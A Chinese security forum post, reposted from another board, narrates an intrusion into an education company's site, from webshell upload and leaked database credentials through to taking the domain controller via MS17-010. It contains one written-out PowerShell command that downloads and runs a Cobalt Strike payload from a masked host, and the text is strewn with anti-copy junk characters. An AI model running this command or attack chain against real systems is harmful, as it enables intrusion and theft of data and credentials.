找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2620|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

4 \' F: S# b! L# A 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路. u& x, Q* o% K$ H9 r3 ~: U3 @

! E5 _8 M0 k' E

' l3 {8 M8 Y: y+ v   * ^& {! C% Q3 `. f7 X3 @0 b+ [7 j0 D

3 H" [/ n: A& {9 S% w9 C: ~

0 C! Z9 ~* g% p$ N 正文6 j8 l4 }( }, D/ k

( Z% U" H/ B# Z# B( ]

$ Z! [+ R- W/ x5 S* \' B6 w   " C) p, k" @4 U# I$ o

% ^/ h- s. s1 b" N

0 N: t* J3 }7 l; t 目标：www.xxxx.com(一家教育机构)
1 g8 a% p0 Z9 C5 Z& G; r) b) h, G 打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能6 ^% E( V( s3 o" e, Q" @1 }

4 {6 E5 L; \/ A# @5 }

: H, J7 H4 _; z: v- V vshapes= 8 _& f1 j0 I: V9 Y) C

; T8 n- M2 X( H# h' `0 @

1 W; Z2 m% {, |; g- N. s p0 { 进行了简单的信息搜集
- x* y+ d9 Z% C: G* x
" v% ` O$ N* J / O1 }% A/ z. }! x! V

# L8 G& @- X D9 j" g

: s8 }4 C: m. n" J! Z 子域名搜集 `: v/ K- X: Z: v

& D" w. k5 i E- x k

4 K/ S6 C% o- c# n vshapes=, |1 G7 _6 c3 }) P2 m$ [. R

- h/ P( G8 |, H9 {. t# i6 a

+ I; j8 `; I% ]( P. h fofa找资产
' o R/ p# z& O
2 e1 y/ U: W, s9 g & Y$ t/ ?. }1 Z2 k* q/ ]

& x2 C& g9 V3 i

. G+ l2 L8 o/ t vshapes= ; C0 ~5 h' m) q/ N% v

3 X0 k' J9 {7 y( q, n7 k% F9 g4 ^- F

& ?, U3 k1 h5 M 一共七个资产。去重之后只有两个。
) l3 k& z9 s9 u& q$ e
' Q+ N; T3 w1 f6 w" ^: j ' ~8 `$ G/ O* s4 J3 F3 i

6 V. m3 X8 X8 v( q

, { v; s/ J( h3 q' M* z$ p/ D 目录探测# h2 e& O! V; k( l4 Z2 e9 e# ]) a% F$ L

5 }5 m% s0 f; Z7 ~

* }$ }3 T2 w! K G) D" k vshapes= " `0 U G% |; w

* k; J8 D8 S5 g( G

) @) ]& K y n 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
$ X: N! z8 ^0 m7 A
# K: X. ~" u0 o( o% m; n* v) X4 O" Q0 U3 \' ^ ^ D( F, C$ D! L

; ?( y: a6 h( _6 Z7 ^8 V

' F/ m+ i* I: Z h 我又尝试了通过修改返回包来绕过登录界面 & ?( Z% ^+ ?8 N& q- K0 N$ J

" w9 J$ c& T4 N9 z4 u7 E

O2 F/ i% K& g- K vshapes= ! m! C9 |2 e7 h- P: h9 O Q

6 y/ |# S4 j/ m& q8 I

( `1 n) B6 f/ t9 j 还是不行，尝试注入无果+ l4 ^# _! }& _6 `

$ ~9 C% k8 g; `0 Z- P" ^, X

( H9 V9 K7 v; p- I+ I: g$ Z. i' f vshapes= ) X g0 Y& w* v% q

5 r4 |3 m# p6 q* R% c, g

8 P- s+ G0 `3 D 不过我目录探测出了一处Spring信息泄露
' Q& n6 a% M6 f% r% U
& H& k" g9 E& B8 l' @" L1 \( y0 J/ D* J" B

' L9 w* F8 Y5 Y# } D+ ~0 n2 w

6 T+ p9 w6 A4 { vshapes=# h7 i2 R P. W1 p0 F8 |# ?$ p( X& v

/ d6 {7 |( y! T: M f" Y2 w

- [+ d5 T5 P# M2 ?2 l: E 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录1 t( J w% W. M; q B3 {

6 S4 k/ F5 |% t, _1 ?& z

s: a7 @5 D9 n; b vshapes=, d; x- e ]0 g. v5 O

5 D, P \- w9 `+ A* x

! R8 c6 Z% Q2 p; T6 E 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。" R. u# e+ ~" |" d) N4 ?7 k3 O

, O" b6 a+ ?* j3 M F5 v5 n1 {! P

0 E! R7 e y# k vshapes= , W1 o/ R5 X( M& I3 x* E

" S$ y/ l; y0 v

1 n9 D" J8 }0 Y }. u) e 获取有些师傅到这一步就手机抓包电脑测了。& C9 R( {# W- Y) E6 B9 _5 s

4 E, ~3 I: m! Z( x" _$ v3 D$ B

8 i; W2 X, U0 j# I2 K Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。" S8 E. T2 h0 S/ h d$ @' p! F

3 H. j. S; }% I: s

& ^4 g5 j. N6 Y 其中在一个公众号发现了小程序，可以进行注册。 + X+ F$ R( T; C2 O. B

8 Q1 {# l/ x6 ~/ v

n6 i# a v; H- r 看到了头像上传，尝试上传获取WebShell4 O0 a, r8 R4 E h3 T _1 [

9 s) f, {6 ` z& w6 g2 [

M5 Y h' Q: u. R vshapes=6 I; L# [0 h4 x$ v6 H( N+ w' g

7 P' d# F# I; @; L r, R

; E5 x! D$ r3 O5 z5 P6 ^7 d5 Y 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问 9 X" x5 O( r+ i' z8 V2 ?& W

; A' E9 N6 w8 {5 S. }3 k$ {

- m+ t* n9 v/ e8 a9 D vshapes=+ X6 x, W+ Q9 M# c, S

0 b& |6 u# Q1 U, z+ N2 F# U

* T' e( A4 U# B7 q2 q. _- p3 ? 然后上了大马 & u, g% C: g3 l Z& c

! O7 t7 q! u; y' T+ d# e; O% k

6 W; \. I7 ^0 K0 w+ k3 ^2 z vshapes= 9 L( r0 H# Q1 o: `$ x, \* T1 z/ L+ k

* G4 j7 I/ a) k8 @

/ H7 E$ H0 |% p4 [1 F) G6 L vshapes=6 ~. }9 F! n8 Q8 c( @- a+ G

1 q. b+ O6 o m* |9 ~ W

7 z4 l9 n) y' R' Z 通过翻找文件发现数据库账号密码! f3 P' H" G; n3 w# n$ `. A4 \

6 k3 m [5 X1 a; J d! a4 z1 z2 r

8 A5 u, d& }6 Y. }7 V+ H vshapes=7 u9 O! L) g! C. t) x

$ S0 I8 F+ O& ]2 h+ d

4 |1 \; U' @3 Z7 u --内网渗透8 U2 _3 l' V' y# V& k# P) m7 F' o( y

+ p& a/ a* l. n+ k+ d* w0 {

+ b' `7 C/ \4 O 直接通过powershell执行 cs上线 6 S; s: v" @# [

* r# M. H! f9 V. P+ U/ P4 _

* w8 G2 [4 b% g7 W( ^1 v powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"( d/ v% ~% v' |7 O3 q

% S4 d: q* e! Z8 Q1 c) b+ d' b

3 h& a1 A4 x& z$ O vshapes= 0 Q$ D5 O3 v1 u4 U4 ~3 \

9 N& E% [2 u0 ?' U& `4 S$ n: a; U

) t) N, J2 Y6 k% D) K 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破4 ]1 g8 ^/ x1 c2 C6 o/ {

$ N" H% Y8 K! x

; v) `5 L0 x9 H. l4 y vshapes= 8 I' T" \ c* ]$ g4 l. o

6 U; n9 e# l# x: O% S; N' H8 q% o

5 ?% \$ O0 N' U+ w1 u) R 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
" h" @" B3 y# z1 v
$ l" x5 i" U( i$ e3 D5 X
5 }& Z/ k0 P$ H8 [ 3 p8 [& ]# L; j

# N) } s' W% F0 F

% h; q7 @( a1 F, s1 x5 O0 ?+ y# J vshapes=% J8 P; `7 ~" N; s% D2 p

4 u5 d5 U0 i, W8 K

) ^& L, F3 e% X# @! b 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
" m: L- P9 a* u" {; Q2 ]$ ?- W1 Z
5 l* ^( @( s6 E i6 p* D- K7 I1 r4 `

. R( @5 F2 N5 r4 b3 S8 z- m4 G: B

3 o. g/ Q! m! _4 w' z% R* |4 r vshapes=3 b/ H5 Z. \$ w0 F

6 k( U* A% C6 @) _ q

8 t+ x+ U" f: |
6 X* @9 s& C! ]4 R% z; l
2 p3 Z7 F, J# O' Y G2 }1 I + t( I" b3 v2 r U7 n

( K0 o; f& H8 B: q& a( N3 Z

1 O& s0 t# V( A! |, ?3 d   9 g! W: G* E N4 k; b

5 [& v+ ]6 y5 X2 i

1 |. ]0 v9 X8 A2 p7 F$ K5 q( H 小结 * w/ S% x K! O6 T( L

& `; L! p/ H: E! Q

$ x0 k$ X) Y$ W$ a1 B9 I  8 E D' ~& p( y/ D; L/ H" n

0 }4 ^2 e- t% t3 u( w1 ]1 V: N

1 U2 M! a+ d( o: v# o 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！ $ E2 B; ]! Q; {; w0 c

6 ^7 n% O0 u7 y, n1 l$ b

; Q" y- ? \4 g, ?   : f5 X" W r1 K# |, K

9 g+ d$ w4 _- p# N
    ; K( E: {- M* R
  • - |% v( S; q& S, B5 ]  8 v3 v' B5 |# r' U3 R
    • - c+ Y8 |6 D; G: u
  • / d4 F$ S U p8 ]  ) U4 Z& b( r! `- m- S* v& ~; m1 A
    • , A7 S; t9 |5 j m' }# Z
0 ?2 i: w% Q( h1 {: R; M

4 |/ D$ t9 {8 ?! d, o 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html7 p. C$ ~; L9 h9 {1 y; H& x a/ a

' n x1 V; O# ], V) ~

8 u4 ` O6 W# ?  8 m T) Q( O& j6 s6 B2 I; p

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表